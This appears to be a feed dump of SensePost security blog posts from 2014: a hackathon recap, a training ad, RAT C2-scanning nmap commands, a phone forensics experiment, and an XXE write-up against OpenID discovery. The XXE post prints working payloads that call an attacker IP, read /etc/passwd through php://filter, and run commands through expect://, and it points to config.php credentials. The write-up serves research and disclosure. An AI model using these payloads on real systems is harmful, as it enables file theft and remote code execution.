SensePost Blog http://www.sensepost.com/blog doing the web 2.0 thing... en SenseCon 2014 Mon, 7 Apr 2014 14:10:00 +0200 http://www.sensepost.com/blog/10425.html
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What originally started as one of those "hey, wouldn't this be cool?" ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, together and in person.


A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can't be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We've put a lot of time into getting the tech and processes in place to give us the "hackers in the same room" feel, but this needs to be backed with some IRL interaction too.


People outside of our industry seem to think of "technical" people as the opposite of "creative" people. However, anyone who's slung even a small amount of code, or even dabbled in hacking will know this isn't true. We give our analysts "20% time" each month to give that creativity an outlet (or to let on-project creativity get developed further). This is part of the intention of SenseCon: a week of space and time for intense learning, building, and just plain tinkering without the stresses of report deadlines or anything else.


But, ideas need input, so we try to organise someone to teach us new tricks. This year that was done by Schalk from House 4 Hack (these guys rocks) who gave us some electronic and Arduino skills and some other internal trainings. Also, there's something about an all-nighter that drives creativity, so much so that some Plakkers used to make sure they did one at least once a month. We use our hackathon for that.


Our hackathon's setup is similar to others - you get to pitch an idea, see if you can get two other team mates on board, and have 24 hours to complete it. We had some coolness come out of this last year and I was looking forward to seeing what everyone would come up with this time round.


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Copious amounts of energy drinks, snacks, biltong and chocolates were on supply and it started after dinner together. The agreed projects were are listed below, with some vagueness, since this was internal after all :)


  • pORTAL anonymous comms device - Sam & Dr Frans


Getting a modified version of Grug's pORTAL device working on a Beagle Bone and Rasperry Pi for us to use while traveling.

  • Video Conferencing - Craig and Marc


For video conferencing we normally use a combination of Skype, Go-To-Meeting, Google hangouts, or a page long gstreamer command piped over a netcat tunnel (I'm not kidding). Craig and Marc built an internal video conferencing solution with some other internal comms tools on the side.

  • SensePost Radar - Keiran and Dane


SensePost Radar
SensePost Radar


Keiran and Dane put our office discone antenna to good use and implemented some SDR-fu to pick up aeroplane transponder signals and decode them. They didn't find MH370, but we now have a cool plane tracker for SP.


  • WiFi Death Flag - Charl


Charl, so incredibly happy!!
Charl, so incredibly happy!!


Using wifi-deauth packets can be useful if you want to knock a station (or several) off a wifi network. Say you wanted to prevent some cheap wifi cams from picking you up ... Doing this right can get complicated when you're sitting a few km's away with a yagi and some binoculars. Charl got an arduino to raise a flag when it was successfully deauthed, and lower it when connectivity is restored for use in a wifi-shootout game.


  • Burp Collaboration tool - Jurgens, Johan & Willem


Inspired by Maltego Teeth, Jurgens set about building a way to have multiple analysts collaborate on one Burp session using a secure Jabber transport. He and Johan got this working well, and we will be releasing it and several other Burp apps during the ITWeb Security Summit in Johannesburg in May.

  • How to Pwn a Country - Panda and Sara


YMCA pwnage
YMCA pwnage


Panda (Jeremy) and Sara ended up building local Maltego transforms that would allow mass/rapid scanning of large netblocks so you can quickly zoom in on the most vulnerable boxes. No countries were harmed in the making of this.


  • Bender - Vladislav


While doing client-side engagements, we realised we needed our own payload to help us to better move from spear-phish to persistent internal network access. Earlier in the year, Vlad put our hacks into a professional SensePost beaconing payload he called Bender. During the hackathon he extended its capability in some key areas.

  • Oh-day stuffs - Georg and Etienne


He likes his ice-cream
He likes his ice-cream


gcp and et decided on some good ol'fashioned fuzz-n-find bug hunting on a commercial mail platform, and websense. Along the way they learned some interesting lessons in how not to fuzz, but in the end found some coolness.


  • 3d Printer - Rogan


Rogan finally got around to putting his 3D printer together! He hasn't printed an SP logo yet, but we're assuming this is the most logical first print.

  • Rogue AP - Dominic & Ian


In preparation for our BlackHat submission, singe and ian spent some time researching our new wifi attacks. This resulted in a key new finding and implementation of their new KARMA rogue-ap attack.

  • The challenge - Daniel


I too had to show that I still had tech skills (not all spreadsheeting you know) and created a challenge to send our peeps down the rabbit hole while pushing their skills but also awaken some old school hacking approaches.


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The hackathon went gangbusters; most of the team went through the night and into the morning (I didn't, getting old and crashed at 2am). Returning that morning to see everyone still hacking away on their projects (and a few hacking away on their snoring) was amazing.


Once the 24-hours was up, many left the office to grab a shower and refresh before having to present to the entire company later on that afternoon.


Overall this years SenseCon was a great success. Some cool projects/ideas were born, a good time was had AND we even made Charl feel young again. As the kids would say, #winning


 


 


 


 

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Combat Reloaded Wed, 2 Apr 2014 13:34:00 +0200 http://www.sensepost.com/blog/10412.html The British Special Air Service (SAS) have a motto that's rather fitting for their line of work - Who Dares Wins


To a degree, the same could be said for our newly updated Hacking by Numbers course, Combat. Penetration testing is sometimes more than following a checklist or going for the easy kill. A good penetration tester knows how to handle all thrown at them, be it a Joomla implementation, or *shudder* an OpenBSD box.



What does prevail in these situations is very much a 'Who Dares Wins' attitude. Sure, you could just give up, report that the box is vulnerable to predictable TCP sequence numbers, issue the PDF and move on, right?


Thought not.


If you are like us, the above situation would drive you potty and you'd end up looking for other ways to obtain maximum pwnage. Thankfully help is at hand. Our newly updated Combat course aims to help you, the penetration tester, learn how to tackle these obstacles.


Using an approach similar to capturing the flag, we take you through a whole host of obstacles that you might find during a career in pwnage. This isn't a simple SQLi in a login form, or a basic file upload vuln exploitation class, but one that gets the creative juices flowing. From chaining low/medium vulnerabilities, to exploiting logic flaws, over the two days, you will be pushed on all seven layers.


The solutions lie much more in technique and an out-of-box thought process than in the use of scripts or tools. Each exercise is designed to teach a specific lesson and is discussed in detail upon completion with the group.


If you are looking at polishing up your pwnage skills, learning how to tackle CTF competitions like the infamous Defcon one, then this is for you.


We don't offer this course frequently, but this year we will be offering it at the amazing Hack In The Box in Amsterdam on the 27th May AND at Blackhat USA's new home at Mandalay Bay in Las Vegas on the 4th August

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RAT-a-tat-tat Wed, 12 Feb 2014 12:11:00 +0200 http://www.sensepost.com/blog/9909.html Hey all,


So following on from my talk (slides, video) I am releasing the NMAP service probes and the Poison Ivy NSE script as well as the DarkComet config extractor.

Rat a-tat-tat from SensePost


An example of finding and extracting Camellia key from live Poison Ivy C2's:
nmap -sV -Pn --versiondb=nmap-service-probes.pi --script=poison-ivy.nse <ip_address/range)
Finding Poison Ivy, DarkComet and/or Xtreme RAT C2's:
nmap -sV -Pn --versiondb=nmap-service-probes.pi <ip_range>


If you have any questions, please contact research@sensepost.com
Cheers

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Channel 4 - Mobile Phone Experiment Fri, 7 Feb 2014 12:46:00 +0200 http://www.sensepost.com/blog/10256.html


This evening we were featured on Channel 4's DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been "wiped" (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.


After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:


  • Browsing history

  • Cookies (e.g. email and Facebook)

  • Contacts

  • SMS messages

  • Photographs

  • Address information

  • Personal documents


It would have been theoretically possible to use the cookies to impersonate the users - i.e. log in as the previous owners. We opted not to do this, as it was crossing an ethical line.

What's the lesson here?


Be very careful when selling your phone. It's fairly trivial to recover large amounts of data from mobile phones - and the tools to do so are freely available.

How can I protect myself?


This will depend on what type of phone you have, and specifically whether the data is encrypted, and if it is, if the key is recoverable. Unencrypted phones were easy game.


iPhone devices encrypt their data by default, which makes it hard (almost impossible) to recover data after performing a factory reset. There are some attacks against iPhones older than 4s which may have more success.


Android devices by default have no encryption, which means that somebody (like us) could easily recover large amounts of supposedly deleted data. It's a good idea to keep your phone encrypted.


Both Windows phone 8 and BlackBerry allow optional encryption to be configured, but this is not enabled by default. Windows phone 7 does not support encryption of the core filesystem.


If you have an existing phone that you're about to sell we'd recommend you encrypt the phone twice after resetting it to factory default (once to destroy your data, the second time to destroy the key used for the first round).


Keep in mind, this applies to all storage media - hard drives on laptops, camera memory cards, etc. It's largely recoverable, even when seemingly deleted.


We would like to thank Paolo Dal Checco (@forensico) and fellow SensePost'er Vlad (@v1ad_o) for their help during the experiment.


On a legal note, the experiment was conducted on a laptop with full disk encryption, and *all* data was deleted after returning the phones to Channel 4.

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Revisting XXE and abusing protocols Tue, 28 Jan 2014 11:59:00 +0200 http://www.sensepost.com/blog/10178.html Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.

The basic premise behind the vulnerability is that when a user authenticates with a site using OpenID, that site does a 'discovery' of the user's identity. To accomplish this the server contacts the identity server specified by the user, downloads information regarding the identity endpoint and proceeds with authentication. There are two ways that a site may do this discovery process, either through HTML or a YADIS discovery. Now this is where it gets interesting, HTML look-up is simply a HTML document with some meta information contained in the head tags:

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<head>
<link rel="openid.server" href="http://www.example.com/myendpoint/" />
<link rel="openid2.provider" href="http://www.example.com/myendpoint/" />
</head>
Whereas the Yadis discovery relies on a XRDS document:

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<xrds:XRDS
  xmlns:xrds="xri://$xrds"
  xmlns:openid="http://openid.net/xmlns/1.0"
  xmlns="xri://$xrd*($v*2.0)">
  <XRD>
    <Service priority="0">
      <Type>http://openid.net/signon/1.0</Type>
      <URI>http://198.x.x.143:7804:/raw</URI>
      <openid:Delegate>http://198.x.x.143:7804/delegate</openid:Delegate>
    </Service>
  </XRD>
</xrds:XRDS>
Now if you have been paying attention the potential for exploitation should be jumping out at you. XRDS is simply XML and as you may know, when XML is used there is a good chance that an application may be vulnerable to exploitation via XML External Entity (XXE) processing. XXE is explained by OWASP and I'm not going to delve into it here, but the basic premise behind it is that you can specify entities in the XML DTD that when processed by an XML parser get interpreted and 'executed'.

From the description given by Reginaldo the vulnerability would be triggered by having the victim (Facebook) perform the YADIS discovery to a host we control. Our host would serve a tainted XRDS and our XXE would be triggered when the document was parsed by our victim. I whipped together a little PoC XRDS document that would cause the target host to request a second file (198.x.x.143:7806/success.txt) from a server under my control. I ensured that the tainted XRDS was well formed XML and would not cause the parser to fail (a quick check can be done by using http://www.xmlvalidation.com/index.php)

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<?xml version="1.0" standalone="no"?>
<!DOCTYPE xrds:XRDS [
  <!ELEMENT xrds:XRDS (XRD)>
  <!ATTLIST xrds:XRDS xmlns:xrds CDATA "xri://$xrds">
  <!ATTLIST xrds:XRDS xmlns:openid CDATA "http://openid.net/xmlns/1.0">
  <!ATTLIST xrds:XRDS xmlns CDATA "xri://$xrd*($v*2.0)">
  <!ELEMENT XRD (Service)*>
  <!ELEMENT Service (Type,URI,openid:Delegate)>
  <!ATTLIST Service priority CDATA "0">
  <!ELEMENT Type (#PCDATA)>
  <!ELEMENT URI (#PCDATA)>
  <!ELEMENT openid:Delegate (#PCDATA)>
  <!ENTITY a SYSTEM 'http://198.x.x.143:7806/success.txt'>
]>

<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7806/raw.xml</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>&a;</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS>

In our example the fist <Service> element would parse correctly as a valid OpenID discovery, while the second <Service> element contains our XXE in the form of <URI>&a;</URI>. To test this we set spun up a standard LAMP instance on DigitalOcean and followed the official installation instructions for a popular, OpenSource, Social platform that allowed for OpenID authentication. And then we tried out our PoC.

"Testing for successful XXE"

It worked! The initial YADIS discovery (orange) was done by our victim (107.x.x.117) and we served up our tainted XRDS document. This resulted in our victim requesting the success.txt file (red). So now we know we have some XXE going on. Next we needed to turn this into something a little more useful and emulate Reginaldo's Facebook success. A small modification was made to our XXE payload by changing the Entity description for our 'a' entity as follows: <!ENTITY a SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>. This will cause the PHP filter function to be applied to our input stream (the file read) before the text was rendered. This served two purposes, firstly to ensure the file we were reading to introduce any XML parsing errors and secondly to make the output a little more user friendly.

The first run with this modified payload didn't yield the expected results and simply resulted in the OpenID discovery being completed and my browser trying to download the identity file. A quick look at the URL, I realised that OpenID expected the identity server to automatically instruct the user's browser to return to the site which initiated the OpenID discovery. As I'd just created a simple python web server with no intelligence, this wasn't happening. Fortunately this behaviour could be emulated by hitting 'back' in the browser and then initiating the OpenID discovery again. Instead of attempting a new discovery, the victim host would use the cached identity response (with our tainted XRDS) and the result was returned in the URL.

"The simple python webserver didn't obey the redirect instruction in the URL and the browser would be stuck at the downloaded identity file."

"Hitting the back button and requesting OpenID login again would result in our XXE data being displayed in the URL."

Finally all we needed to do was base64 decode the result from the URL and we would have the contents of /etc/passwd.

"The decoded base64 string yielded the contents of /etc/passwd"

This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (http://de2.php.net/manual/en/expect.installation.php). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution.

"RCE - retrieving the current user id"

And Boom goes the dynamite.

All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser:

libxml_disable_entity_loader(true);

A good document with PHP security tips can be found here: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html

./et

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